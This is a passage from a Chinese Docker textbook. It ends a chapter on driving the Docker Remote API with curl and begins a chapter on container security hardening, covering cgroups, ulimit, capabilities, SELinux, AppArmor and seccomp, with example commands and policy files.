{"status":"Pulling metadata","progressDetail":{},"id":"a0ab785b06af"}
{"status":"Pulling fs layer","progressDetail":{},"id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":462344,"total":43406753},"progress":
"[\u003e ] 462.3 kB/43.41 MB","id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":921096,"total":43406753},"progress":
"[=\u003e ] 921.1 kB/43.41 MB","id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":1379848,"total":43406753},"progress":
"[=\u003e ] 1.38 MB/43.41 MB","id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":1838600,"total":43406753},"progress":
"[==\u003e ] 1.839 MB/43.41 MB","id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":2297352,"total":43406753},"progress":
"[==\u003e ] 2.297 MB/43.41 MB","id":"a0ab785b06af"}
{"status":"Downloading","progressDetail":{"current":2756104,"total":43406753},"progress":
"[===\u003e ] 2.756 MB/43.41 MB","id":"a0ab785b06af"}
...
{"status":"Download complete","progressDetail":{},"id":"9ca94476714a"}
{"status":"Download complete","progressDetail":{},"id":"9ca94476714a"}
{"status":"Status: Downloaded newer image for 10.220.220.220:5555/earth/zeus"}

从最后一句日志可以看到，已经将镜像成功下载到本地。

提示

由于pull镜像的时候，会持续收到服务器端返回的用于刷新pull进度条的大量信息并打印，因此可能会造成卡屏。

4.运行容器并检测

拿到神奇应用的B君迫不及待地开始了他的测试，首先他认为镜像名称太长，因此决定首先重新给镜像命名，命令如下：

·Endpoint——POST/images/（name）/tag

·对应CLI命令——docker tag

$ curl -XPOST http://localhost:5678/images/10.220.220.220:5555/earth/zeus/tag?repo=earth/zeus

这样就为镜像创建了一个更简短的名字“earth/zeus”。接下来要做的则是以其为基础镜像创建一个容器，对于创建容器的API，Docker提供了丰富的参数以满足不同的功能需求，用户可根据实际使用场景进行配置选择。这里仅列举几个常用选项。

（1）根据基础镜像创建容器

·Endpoint——POST/containers/create

·对应CLI命令——docker create

$ curl -XPOST -H "Content-Type: application/json" http://localhost:5678/containers/create -d '{
"Hostname":"Cybertron",
"User":"root",
"Memory":16777216,
"MemorySwap":0,
"AttachStdin":false,
"AttachStdout":true,
"AttachStderr":true,
"PortSpecs":null,
"Tty":true,
"OpenStdin":true,
"StdinOnce":false,
"Image":"earth/zeus"
}'
< HTTP/1.1 201 Created
< Content-Type: application/json
{"Id":"d36e86e9a48664baa100d1bee4dfeb869dcedc0cc0626e6ece852ed26090c949","Warnings":null}

如果一切顺利，则可得到生成的容器ID，此时的容器处于未运行状态，接下来需要调用容器启动API来运行容器。

（2）运行容器

·Endpoint——POST/containers/（id）/start

·对应CLI命令——docker start

$ curl -XPOST http://localhost:5678/containers/d36e86e9a486/start
< HTTP/1.1 204 No Content
< Date: Sat, 27 Jun 2015 08:49:39 GMT

最后就该验证容器里搭载的神奇应用是否能发挥作用了：

·Endpoint——GET/containers/（id）/json

·对应CLI命令——docker inspect

$ curl -s -XGET http://localhost:5678/containers/d36e86e9a486/json | python -mjson.tool | grep HostPort
"HostPort": "32776"
$ curl -XGET http://localhost:32776
Hello world

噢！成功了，B君赶紧把这个好消息告诉了远在地球的A君，A君神秘地说：“赶紧看看来自星星的问候吧，打开容器log。”

·Endpoint——GET/containers/（id）/logs

·对应CLI命令——docker logs

$ curl -XGET
"http://localhost:5678/containers/d36e86e9a486/logs?stderr=1&stdout=1"
Connected by ('172.17.42.1', 39009)
Request is: GET / HTTP/1.1
User-Agent: curl/7.35.0
Host: localhost:32780
Accept: /
Connected by ('10.111.151.231', 59191)
Request is: GET / HTTP/1.1
Host: 10.110.52.50:32780
Connection: keep-alive
CSP: active
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/43.0.2357.124 Safari/537.36
Accept: /
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connected by ('10.110.52.50', 44401)
Request is: GET / HTTP/1.1
User-Agent: curl/7.35.0
Host: 10.110.52.50:32780
Accept: /
Connected by ('10.107.197.221', 42489)
Request is: GET / HTTP/1.1
User-Agent: curl/7.29.0
Host: 10.110.52.50:32780
Accept: /
Connected by ('10.222.222.222', 59217)
Request is: GET /favicon.ico HTTP/1.1
Host: 10.110.52.50:32780
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

然后，他陆续收到了来自大熊星座、织女星座、α星云的问候。

得益于神奇应用的成功运转，越来越多来自宇宙深处的订单堆满了A君的办公室。此时他独自站在落地窗前，垂望着眼前昏暗的高楼，不禁感叹：Docker Remote API。

7.4　本章小结

本章以一个简单的示例开始，最后用“Hello world”完整地呈现了Docker宣称的“Build，Ship and Run”，目的在于帮助读者实现已有系统与Docker的集成。

值得注意的是，Docker API与Docker一样，仍处于发展阶段。对于不同版本的API，在某些参数甚至格式上都有可能产生较大变化。到目前为止，几乎Docker的每个版本更新都伴有API改动，因此遇到此类问题也不用过于紧张，参考最新官方文档或直接向开源社区提Issue即可。

第8章　Docker安全

Docker自诞生以来，其安全性问题一直饱受诟病。随着Docker的发展，它自身面临的挑战也越来越大，安全问题也越来越受到人们的关注。大约在2014年6月，网上一篇关于Docker安全的博客显示，Docker的容器已经被攻破，并且能够遍历宿host的文件了，这对Docker的商业化造成了很大的杀伤力。可见，安全问题必须高度重视。

8.1　深入理解Docker的安全

8.1.1　Docker的安全性

Docker的安全性主要体现在如下几个方面：

·Docker容器的安全性：这是指容器是否会危害到host或其他容器。

·镜像的安全性：用户如何确保下载下来的镜像是可信的、未被篡改过的。

·Docker daemon的安全性：如何确保发送给daemon的命令是由可信用户发起的。用户通过CLI或者REST API向daemon发送命令以完成对容器的各种操作，例如通过docker exec命令删除容器里的数据，因此需要保证client与daemon的连接是可信的。

这里面容器的安全性是最大的问题，也是备受关注的问题，因此下文介绍的安全策略大多是针对容器安全性的。

8.1.2　Docker容器的安全性

容器安全性问题的根源在于，容器和host共用内核，因此受攻击面特别大，没有人能信心满满地说不可能由容器入侵到host。共用内核导致的另一个严重问题是，如果某个容器里的应用导致Linux内核崩溃，那么整个系统都会崩溃。在这方面，虚拟机的表现就相对好多了，虚拟机与host的接口是非常有限的，攻击面自然也就非常小了，并且虚拟机崩溃一般不会导致host崩溃。

在共用内核这个前提下，容器主要通过内核的Cgroup和Namespace这两大特性来达到容器隔离和资源限制的目的。目前Cgroup对系统资源的限制已经比较完善了，但Namespace的隔离还是不够完善，只有PID、mount、network、UTS、IPC和user这几种。而对于未隔离的内核资源，容器访问时也就会存在影响到host及其他容器的风险。

比如，procfs里的很多接口都没有被隔离，因此通过procfs可以查询到整个系统的信息，例如系统的CPU、内存等资源信息。这也是为什么Docker容器的procfs是以只读方式挂载的，否则修改procfs里的内核参数，将会影响甚至破坏整个host。再例如，内核syslog也是没有被隔离的，因此在容器内可以看到容器外其他进程产生的内核syslog。

Namespace的隔离非但是不完善的，甚至可以说是不可能完善的。这是共用内核导致的固有缺陷，并且未来Linux内核社区也不会对此做太多的改进。

8.2　安全策略

正是因为容器由于内核层面隔离性差导致安全性不足，所以Docker社区开发了很多安全特性，业界也总结了一些经验，下文将给出一些主要的安全策略。

8.2.1　Cgroup

Cgroup用于限制容器对CPU、内存等关键资源的使用，防止某个容器由于过度使用资源，导致host或者其他容器无法正常运作，下面将详细介绍Docker如何使用Cgroup。

1.限制CPU

Docker能够指定一个容器的CPU权重，这是一个相对权重，与实际的处理速度无关。事实上，没有办法限制一个容器只可以获得1GHZ的CPU。每个容器默认的CPU权重是1024，简单地说，假设只有两个容器，并且这两个容器竞争CPU资源，那么CPU资源将在这两个容器之间平均分配。如果其中一个容器启动时设置的CPU权重是512，那它相对于另一个容器只能得到一半的CPU资源，因此这两个容器可以得到的CPU资源分别是33.3%和66.6%。但如果另外一个容器是空闲的，第一个容器则会被允许使用100%的CPU。也就是说，CPU资源不是预先硬性分配好的，而是跟各个容器在运行时对CPU资源的需求有关。

例如，可以为容器设置CPU权重为100，如下：

$ docker run --rm -ti -c 100 ubuntu bash

另一方面，Docker也可以明确限制容器对CPU资源的使用上限，如下：

$ docker run –-rm –ti --cpu-period=500000 --cpu-quota=250000 ubuntu /bin/bash

上面的命令表示这个容器在每个0.5秒里最多只能运行0.25秒。

除此之外，Docker还可以把容器的进程限定在特定的CPU上运行，例如将容器限定在0号和1号CPU上运行：

$ docker run -it --rm --cpuset-cpus=0,1 ubuntu bash

2.限制内存

除了CPU，内存也是应用不可或缺的一个资源，因此一般来说必须限制容器的内存使用量。限制命令如下：

$ docker run --rm -ti -m 200M ubuntu bash

这个例子将容器可使用的内存限制在200MB。不过事实上还不是这么简单，我们知道系统在发现内存不足时，会将部分内存置换到swap分区里，因此如果只限制内存使用量，可能会导致swap分区被用光。通过--memory-swap参数可以限制容器对内存和swap分区的使用，如果只是指定-m而不指定--memory-swap，那么总的虚拟内存大小（也即memory加上swap）是-m参数的两倍。

3.限制块设备I/O

对于块设备，因为磁盘带宽有限，所以对于I/O密集的应用，CPU会经常处于等待I/O完成的状态，也就是常说的idle状态。它造成的问题是，其他应用可能也要等那个应用的I/O完成，从而影响到其他的容器。

Docker目前只能设置容器的I/O权重，无法限制容器的I/O读写速率的上限，但这个功能已经在开发之中了，更详细的信息可以参考：https://github.com/docker/docker/pull/14466。现阶段用户可以通过直接写Cgroup文件来实现。例如：

$ docker run --rm -ti --name=container1 ubuntu bash
root@1b65813ae355:/# dd if=/dev/zero of=testfile0 bs=8k count=5000 oflag=direct
5000+0 records in
5000+0 records out
40960000 bytes (41 MB) copied, 0.183773 s, 223 MB/s

可以看到，在没有限制前，写速率是233MB/s，下面通过修改相应的Cgroup文件来限制写磁盘的速度。在对写限制速度之前，我们需要明确地知道容器挂载的文件系统在哪里：

$ mount | grep 1b65813ae355
/dev/mapper/docker-253:1-135128789-1b65813ae355377415d0a694d25cf1753a04516a6847aa9b1aeaecfb306d963f on /var/lib/docker/devicemapper/mnt/1b65813ae355377415d0a694d25cf1753a04516a6847aa9b1aeaecfb306d963f type ext4 (rw,relatime,seclabel,stripe=16,data=ordered)
proc on /run/docker/netns/1b65813ae355 type proc (rw,nosuid,nodev,noexec,relatime)
$ ls -l /dev/mapper/docker-253:1-135128789-1b65813ae355377415d0a694d25cf1753a04516a6847aa9b1aeaecfb306d963f
lrwxrwxrwx. 1 root root 7 Sep 15 11:30 /dev/mapper/docker-253:1-135128789-1b65813ae355377415d0a694d25cf1753a04516a6847aa9b1aeaecfb306d963f -> ../dm-4
$ ls /dev/dm-4 -l
brw-rw----. 1 root disk 253, 4 Sep 15 11:30 /dev/dm-4

在找到容器挂载的设备号“253，4”之后，就可以来限制容器的写速度了：

$ sudo echo '253:4 10240000' > /sys/fs/cgroup/blkio/system.slice/docker-1b65813ae355377415d0a694d25cf1753a04516a6847aa9b1aeaecfb306d963f.scope/blkio.throttle.write_bps_device

10240000是每秒最多可写入的字节数，设置完容器的写速度后，再来看写41MB花的时间：

root@1b65813ae355:/# dd if=/dev/zero of=testfile0 bs=8k count=5000 oflag=direct
5000+0 records in
5000+0 records out
40960000 bytes (41 MB) copied, 3.9027 s, 10.5 MB/s

大概花了3.905s，写速率大约为10.5MB/s，说明刚刚的限制已经生效。

8.2.2　ulimit

Linux系统中有一个ulimit指令，可以对一些类型的资源起到限制作用，包括core dump文件的大小、进程数据段的大小、可创建文件的大小、常驻内存集的大小、打开文件的数量、进程栈的大小、CPU时间、单个用户的最大线程数、进程的最大虚拟内存等。

在Docker 1.6之前，Docker容器的ulimit设置，继承自Docker daemon。很多时候，对于单个容器来说，这样的ulimit实在是太高了。在Docker 1.6之后，可以设置全局默认的ulimit，例如，可设置CPU时间为：

$ sudo docker daemon --default-ulimit cpu=1200

或者在启动容器时，单独对其ulimit进行设置：

$ docker run --rm -ti --ulimit cpu=1200 ubuntu bash
root@0260109155da:/app# ulimit -t
1200

8.2.3　容器组网

在接入容器隔离不足的情况下，将受信任的和不受信任的容器组网在不同的网络中，可以减少危险。关于Docker的各种网络模型及方案可以参考本书“Docker网络”一章，这里不详细介绍。

8.2.4　容器+全虚拟化

如果将容器运行在全虚拟化环境中（例如在虚拟机中运行容器），这样就算容器被攻破，也还有虚拟机的保护作用。目前一些安全需求很高的应用场景采用的就是这种方式，比如公有云场景。

8.2.5　镜像签名

Docker可信镜像及升级框架（The Update Framework，TUF）是Docker 1.8所提供的一个新功能，这使得我们可以校验镜像的发布者。当发布者将镜像push到远程的仓库时，Docker会对镜像用私钥进行签名，之后其他人pull这个镜像的时候，Docker就会用发布者的公钥来校验该镜像是否和发布者所发布的镜像一致，是否被篡改过，是否是最新版。更多关于可信镜像的内容及TUF的使用可以参考这个链接：http://blog.docker.com/2015/08/content-trust-docker-1-8。

8.2.6　日志审计

Docker 1.6版本开始支持日志驱动，使得用户可以将日志直接从容器输出到如syslogd这样的日志系统中，通过docker--help可以看到Docker daemon支持log-driver参数，目前支持的类型有none、json-file、syslog、gelf和fluentd，默认的日志驱动是json-file。

除了在启动Docker daemon时指定日志驱动以外，也可以对单个容器指定驱动，例如：

$ docker run -ti --rm --log-driver="syslog" ubuntu bash
root@55d1fc11a36e:/#

通过docker inspect可以看到容器使用了哪种日志驱动，如下。

$ docker inspect 55d1fc11a36e…
"Ulimits": null,
"LogConfig": {
"Type": "syslog",
"Config": {}
},
"CgroupParent": "",…

要注意的是，只有json-file这个日志驱动支持docker logs命令。

$ docker logs 55d1fc11a36e
"logs" command is supported only for "json-file" logging driver (got: syslog)

8.2.7　监控

在使用容器时，应该注意监控容器的信息，若发现有什么不正常的现象，就能采取措施及时补救。这些信息包括容器的运行状态、容器的资源使用情况等。

可通过如下命令查看容器的运行状态（如running、exited、dead等）：

$ docker ps -a
CONTAINER ID  IMAGE  COMMAND  CREATED          STATUS     PORTS  NAMES
f48b7f9aacc2  ubuntu "bash"   2 minutes ago    Exited…          sharp_sinoussi
1ab5096ade64  ubuntu "bash"   21 minutes ago   Up 21 minutes     container1
9a6cd19df7ea  ubuntu "bash"   17 hours ago     Dead              elated_swartz
039626d40c11  ubuntu "bash"   17 hours ago     Dead              berserk_hamilton
98c4ba566e7c  ubuntu "bash"   22 hours ago     Dead              loving_williams

状态显示是“Up n minutes”的容器是正在运行的，比如说container1。

容器的资源使用情况主要指容器对内存、网络I/O、CPU、磁盘I/O的使用情况等。Docker提供了stats命令来实时监控一个容器的资源使用，例如：

$ docker stats container1
CONTAINER   CPU %   MEM USAGE/LIMIT      MEM %    NET I/O          BLOCK I/O
container1  0.00%   4.768 MB/4.146 GB    0.11%    7.57 kB/648 B    4.268 MB/0 B

8.2.8　文件系统级防护

Docker可以设置容器的根文件系统为只读模式，只读模式的好处是，即使容器与host使用的是同一个文件系统，也不用担心会影响甚至破坏host的根文件系统。但这里需要注意的是，必须把容器里进程remount文件系统的能力给禁止掉，否则在容器内又可以把文件系统重新挂载为可写。甚至更进一步，用户可以禁止容器挂载任何文件系统。

下面的例子分别展示了可读写挂载和只读挂载的效果。

示例一：可读写挂载。

$ docker run -ti --rm ubuntu bash
root@4cdf0b0d62ca:/# echo "hello" > /home/test.txt
root@4cdf0b0d62ca:/# cat /home/test.txt
hello

示例二：只读挂载。

$ docker run -ti --rm --read-only ubuntu bash
root@a2da6c14ccd4:/#  echo "hello" > /home/test.txt
bash: /home/test.txt: Read-only file system

8.2.9　capability

从2.2版开始，Linux有了capability的概念，它打破了Linux操作系统中超级用户/普通用户的概念，让普通用户也可以做只有超级用户才能完成的工作。capability可以作用在进程上，也可以作用在程序文件上。它与sudo不同，sudo可以配置某个用户可以执行某个命令或更改某个文件，而capability则是让某个程序拥有某种能力。

每个进程有三个和能力有关的位图：Inheritable（I）、Permitted（P）和Effective（E），我们也可以通过/proc/<PID>/status来查看进程的capability。例如：

$ cat /proc/$$/status | grep Cap
CapInh: 0000000000000000
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff

其中的说明如下：

·CapEff：当一个进程要进行某个特权操作时，操作系统会检查CapEff的对应位是否有效，而不再是检查进程的有效UID是否为0。

·CapPrm：表示进程能够使用的能力，CapPrm可以包含CapEff中没有的能力，这些能力是被进程自己临时放弃的，因此CapEff是CapPrm的一个子集。

·CapInh：表示能够被当前进程执行的程序继承的capability。

读者可以查阅Linux手册了解更多capability的内容。

Docker启动容器的时候，会通过白名单的方式来设置传递给容器的capability，默认情况下，这个白名单只包含CAP_CHOWN等少数的能力。用户可以通过--cap-add和--cap-drop这两个参数来修改这个白名单。

$ docker run --rm -ti --cap-drop=chown ubuntu bash
root@e6abf62fd7f1:/app# chown 2:2 /etc/hosts
chown: changing ownership of '/etc/hosts': Operation not permitted
root@80e02b7210b1:/app# exit
exit
$ docker run --rm -ti ubuntu bash
root@80e02b7210b1:/app#  chown 2:2 /etc/hosts
root@e6abf62fd7f1:/app#

从上面的例子可以看到，将CAP_CHOWN能力去掉后，在容器里就无法改变文件的所有者了。

对于容器而言，应该遵守最小权限原则，尽量不要使用--privileged参数，不需要的能力应该全部去掉，甚至可以把所有的能力都禁止。

$ docker run -ti --rm --cap-drop=all ubuntu bash

8.2.10　SELinux

在介绍SELinux之前，有必要先了解一下操作系统中访问控制安全的发展。早期的操作系统几乎没有考虑安全问题，一个用户可访问任何文件或资源，但很快出现了访问控制机制来增强安全性，其中主要的访问控制在今天称为自主访问控制（DAC）。DAC是一种访问控制，通常允许授权用户（通过其程序如一个shell）改变客体的访问控制属性，这样就可指定其他用户是否有权访问该客体。大部分DAC机制是基于用户身份访问控制属性的，通常表现为访问控制列表机制。DAC的主要特性是，单个用户（通常指某个资源的属主）可指定其他人是否能访问其资源。

当然，DAC也有其自身的安全脆弱性，它只约束了用户、同用户组内的用户、其他用户对文件的可读、可写、可执行权限，而这对系统的保护作用是非常有限的，为克服这种脆弱性，就出现了强制访问控制（MAC）机制。MAC用于避免DAC的脆弱性问题，其访问控制决断的基本原理不是对单个用户或系统管理员进行判断，而是利用组织的安全策略来控制对客体的访问，且这种访问不被单个程序所影响。此项研究最早由军方资助，目的是保护机密政府部门数据的机密性。

SELinux（Security-Enhanced Linux）是美国国家安全局（NSA）对于强制访问控制的实现，它是Linux历史上最杰出的安全子系统。在这种访问控制体系的限制下，进程只能访问那些在它的任务中所需要的文件。对于目前可用的Linux安全模块来说，SELinux功能最全面，而且测试最充分，它是基于对MAC 20年的研究基础上建立的。

SELinux定义了系统中每个用户、进程、应用和文件访问及转变的权限，然后使用一个安全策略来控制这些实体（即用户、进程、应用和文件）之间的交互，安全策略指定了如何严格或宽松地进行检查。由于SELinux比较复杂，在讲SELinux在Docker上的使用前，有必要先讲一下SELinux的简单使用。

SELinux跟内核模块一样，也有模块的概念，需要先根据规则文件编译出二进制模块，然后插入到内核中。在使用SELinux前，我们需要安装一些包，以Fedora 20为例，需要安装以下组件：

·checkpolicy

·libselinux

·libsemanage

·libsepol

·policycoreutils

源码可以在https://github.com/SELinuxProject/selinux中找到，但建议不要自己来编译，太花时间，而且编译了也不见得好用。若要自己开发SELinux策略，还需要安装工具：selinux-policy-devel。

在Fedora 20中，可以直接用yum安装SELinux开发所必须的工具：

$ sudo yum -y install libselinux.x86_64 libselinux-devel.x86_64 libselinux-python.x86_64 libselinux-utils.x86_64 selinux-policy.noarch selinux-policy-devel.noarch selinux-policy-targeted.noarch crossfire-selinux.x86_64 libselinux-devel.i686 checkpolicy.x86_64 policycoreutils.x86_64 policycoreutils-devel.x86_64 selinux-policy-devel.noarch selinux-policy-targeted.noarch

安装好后就可以体验下SELinux的功能了，Github上有个例子，我们可以拿来学习一下。

获取源码：

$ git clone https://github.com/pcmoore/getpeercon_server.git

查看策略文件：

$ cd getpeercon_server
$ cat selinux/gpexmple.te
policy_module(gpexmple, 1.0.0)
type gpexmple_t;
type gpexmple_exec_t;
application_domain(gpexmple_t, gpexmple_exec_t)
type gpexmple_log_t;
files_tmp_file(gpexmple_log_t)
files_tmp_filetrans(gpexmple_t, gpexmple_log_t, { dir file })
unconfined_run_to(gpexmple_t, gpexmple_exec_t)
# network permissions
allow gpexmple_t self:tcp_socket { create_stream_socket_perms };
corenet_tcp_bind_generic_node(gpexmple_t)
allow gpexmple_t gpexmple_log_t:file { create open append };

可以看到，SELinux的策略文件还是比较复杂的，如果是第一次看，基本弄不明白是什么意思。并且，SELinux的策略不是三言两语就能讲清楚的，读者有兴趣的话可以看一下《SELinux by Example》[1]这本书。

然后查看测试程序的代码：

$ cat src/getpeercon_server.c…
srv_sock = socket(family, SOCK_STREAM, IPPROTO_TCP);…
rc = bind(srv_sock, (struct sockaddr *)&srv_sock_addr,
sizeof(srv_sock_addr));…

上面的代码中有创建tcp socket及bind tcp端口的动作，但是上面的策略文件中没有bind tcp端口的策略，不能成功地bind tcp端口。要测试这个例子，得先创建SELinux模块：

$ sudo make build
$ sudo make install

然后关闭SELinux，再插入新编译的模块，重新开启SELinux，并打上正确的标签：

$ sudo setenforce 0
$ sudo semodule -i selinux/gpexmple.pp
$ sudo setenforce 1
$ sudo restorecon /usr/bin/getpeercon_server

之后运行getpeercon_server：

$ getpeercon_server 8080
-> running as unconfined_u:unconfined_r:gpexmple_t:s0-s0:c0.c1023
-> creating socket ... ok
-> listening on TCP port 8080 ... bind error: -1

运行不成功！什么原因呢？是SELinux限制它了吗？查看下日志：

$ cat /var/log/audit/audit.log…
type=SYSCALL msg=audit(1439297447.748:609): arch=c000003e syscall=49 success=no exit=-13 a0=3 a1=7fff2753d000 a2=1c a3=7fff2753cd40 items=0 ppid=1804 pid=2151 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 ses=1 tty=pts0 comm="getpeercon_serv" exe="/usr/bin/getpeercon_server" subj=unconfined_u:unconfined_r:gpexmple_t:s0-s0:c0.c1023 key=(null)…

从“success=no exit=-13”可以看出getpeercon_server执行失败，确实是因为SELinux阻止了getpeercon_server绑定端口。

解决方法如下：

$ cat /var/log/audit/audit.log | audit2allow -m local

上面的audit2allow是一个用Python写的命令，它主要用来处理日志，把日志中违反策略的动作的记录转换成access vector。然后我们把这条命令的输出复制到gpexmple.te中，例如：

policy_module(gpexmple, 1.0.0)
require {
type http_cache_port_t;
class tcp_socket name_bind;
}
type gpexmple_t;
type gpexmple_exec_t;
application_domain(gpexmple_t, gpexmple_exec_t)
type gpexmple_log_t;
files_tmp_file(gpexmple_log_t)
files_tmp_filetrans(gpexmple_t, gpexmple_log_t, { dir file })
unconfined_run_to(gpexmple_t, gpexmple_exec_t)
allow gpexmple_t self:tcp_socket { create_stream_socket_perms };
corenet_tcp_bind_generic_node(gpexmple_t)
allow gpexmple_t gpexmple_log_t:file { create open append };
allow gpexmple_t http_cache_port_t:tcp_socket name_bind;

重复编译插入操作，然后再运行，我们将会看到：

$ getpeercon_server 8080
-> running as unconfined_u:unconfined_r:gpexmple_t:s0-s0:c0.c1023
-> creating socket ... ok
-> listening on TCP port 8080 ... ok
-> waiting ...

启动成功。

虽然上面的例子看起来比较复杂，但要在Docker中使用SELinux却非常简单。

Docker使用SELinux的前提是系统支持SELinux，SELinux功能已经打开，并且已插入了Docker的SELinux模块，目前RHEL 7、Fedora 20都已自带该模块。可通过如下命令查看系统是否支持Docker的SELinux环境：

$ sudo semodule -l | grep docker
docker  1.0.0

如果有Docker的SELinux模块（即上面显示的docker 1.0.0），说明系统已经支持Docker的SELinux环境。SELinux的策略虽然复杂，但在Docker中的使用却非常友善，因为这个Docker SELinux模块已经帮我们做了那些复杂的SELinux策略，用户只需要在Docker daemon启动的时候加上--selinux-enabled=true选项，就可以使用SELinux了，如下：

$ sudo docker daemon  --selinux-enabled=true

当然，也可以在启动容器时，使用--security-opt选项来对指定的文件做限制（这也需要Docker daemon启动时加--selinux-enabled=true），比如：

$ docker run -i -t ubuntu /bin/bash
root@44cf505f688a:/app# ls /bin/bash -Z
system_u:object_r:svirt_sandbox_file_t:s0:c358,c569 /bin/bash
root@44cf505f688a:/app# exit
exit
$ docker run --security-opt label:level:s0:c100,c200 -i –t ubuntu /bin/bash
root@8c8512ff8dbf:/app# ls /bin/bash -Z
system_u:object_r:svirt_sandbox_file_t:s0:c100,c200 /bin/bash

可以看出通过--security-opt传递的参数，容器内的标签已经生效。更多关于--security-opt的信息，请参考Docker的官方文档。

[1] Mayer, Frank / Macmillan, Karl / Caplan, David, Addison-Wesley, 2006-7。

8.2.11　AppArmor

AppArmor也是一种MAC控制机制，其主要的作用是设置某个可执行程序的访问控制权限，可以限制程序读/写某个目录/文件，打开/读/写网络端口等。AppArmor是一个高效和易于使用的Linux系统安全特性，它对操作系统和应用程序进行了从内到外的保护，即使是0day漏洞和未知的应用程序漏洞所导致的攻击也可被识破。AppArmor安全策略可以完全定义个别应用程序所能访问的系统资源与各自的特权，它包含了大量的默认策略，并将先进的静态分析和基于学习的工具结合了起来，可以在很短的时间内，为非常复杂的应用制定AppArmor规则。

例如有以下AppArmor配置文件：

$ cat /etc/apparmor.d/bin.ping …
#include <tunables/global>
/{usr/,}bin/ping {
#include <abstractions/base>
#include <abstractions/consoles>
#include <abstractions/nameservice>
capability net_raw,
vcapability setuid,
network inet raw,
/bin/ping mixr,
/etc/modules.conf r,
# Site-specific additions and overrides. See local/README for details.
#include <local/bin.ping>
}

可以看出，AppArmor的配置文件非常友好，基本一眼就能看明白个大概，故而在此只做简单的解释：

·/{usr/，}bin/ping：此配置文件作用于/usr/bin/ping或/bin/ping。

·#include：包含abstractions/base文件中的规则，这个文件在/etc/apparmor.d/abstractions目录下。

·capability net_raw：ping有net_raw的能力。

·/etc/modules.conf r：对/etc/modules.conf有读的权限。

提示

对配置文件更详细的介绍可以参考官方文档http://manpages.ubuntu.com/manpages/hardy/man5/apparmor.d.5.html。

在上述配置文件下，做如下测试：

$ ping 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms…

可见ping可以正常运行。然后修改上面的配置文件，注释掉capability net_raw（即禁止/usr/bin/ping和/bin/ping这两个程序的net_raw能力）一行。

…
#include <tunables/global>
/{usr/,}bin/ping {
#include <abstractions/base>
#include <abstractions/consoles>
#include <abstractions/nameservice>
#capability net_raw,
vcapability setuid,
network inet raw,
/bin/ping mixr,
/etc/modules.conf r,
# Site-specific additions and overrides. See local/README for details.
#include <local/bin.ping>
}

现在重新加载这个配置文件并再次执行ping：

$ sudo apparmor_parser -r /etc/apparmor.d/bin.ping
$ ping 0
ping: icmp open socket: Operation not permitted

可见ping已经没有权限了，说明上面的配置文件已经生效了。

Docker daemon在启动的过程中会去判断当前内核是否支持AppArmor，若支持，就创建默认的AppArmor配置文件/etc/apparmor.d/docker，并应用这个配置文件。启动容器时，在初始化过程中Docker会使用相应的AppArmor配置作用于容器。也可以使用--security-opt选项来指定作用于容器的AppArmor配置文件。

下面的例子制定了一个AppArmor规则，并应用到了容器上。

先拷贝一个模板：

$ sudo cp /etc/apparmor.d/docker /etc/apparmor.d/container

编辑/etc/apparmor.d/container，将

profile docker-default flags=(attach_disconnected,mediate_deleted) {

改为

profile container-default flags=(attach_disconnected,mediate_deleted) {

上面的修改主要是改配置的名字，该名字在传给Docker时要用到，也可以改配置文件中其他的内容（例如在配置文件中加入“deny/etc/hosts rwklx，”一行，容器启动后，执行“cat/etc/hosts”命令，然后对比加与不加的不同，届时可以看到加了之后，在容器中没有权限读取/etc/hosts的内容了）。

再用下面的命令使用这个配置：

$ docker run --rm -ti --security-opt apparmor:container-default ubuntu bash

在使用Docker的过程中，强烈建议打开SELinux或AppArmor。目前在支持SELinux的系统上，Docker的SELinux不是默认打开的，需要在启动Docker daemon时加上--selinux-enabled=true参数。而在支持AppArmor的系统上，AppArmor的功能是默认打开的。

8.2.12　Seccomp

Seccomp（secure computing mode）是一种Linux内核提供的安全特性，它可以实现应用程序的沙盒机制，以白名单或黑名单的方式限制进程进行系统调用。

Seccomp首次于内核2.6.12版本合入Linux主线。早期的Seccomp只支持过滤少数几个系统调用。较新的内核版本支持动态Seccomp策略，也就是seccomp-bpf，因为支持用BPF生成过滤规则，从而使Seccomp可以限制任意的系统调用，并且还可以限制系统调用传入的参数。

对Seccomp使用一般分为两步：

1）生成BPF形式的过滤规则。

2）调用prctl系统调用将规则传入内核。

下面的代码展示了Seccomp的使用：

struct sock_filter filter[] = {
/* Grab the system call number */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
/* Jump table for the allowed syscalls */
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_rt_sigreturn, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
...
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
perror("prctl");
return 1;
}

在Docker容器启动的过程中，它会对Seccomp设置一个默认的配置，但目前还不支持命令行参数做配置，后续很可能会增加。

提示

如果想更深入地了解Seccomp，特别是seccomp-bpf，可以参考内核文档https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt以及内核源码里的样例，样例在源码的linux/samples/seccomp目录。

8.2.13　grsecurity

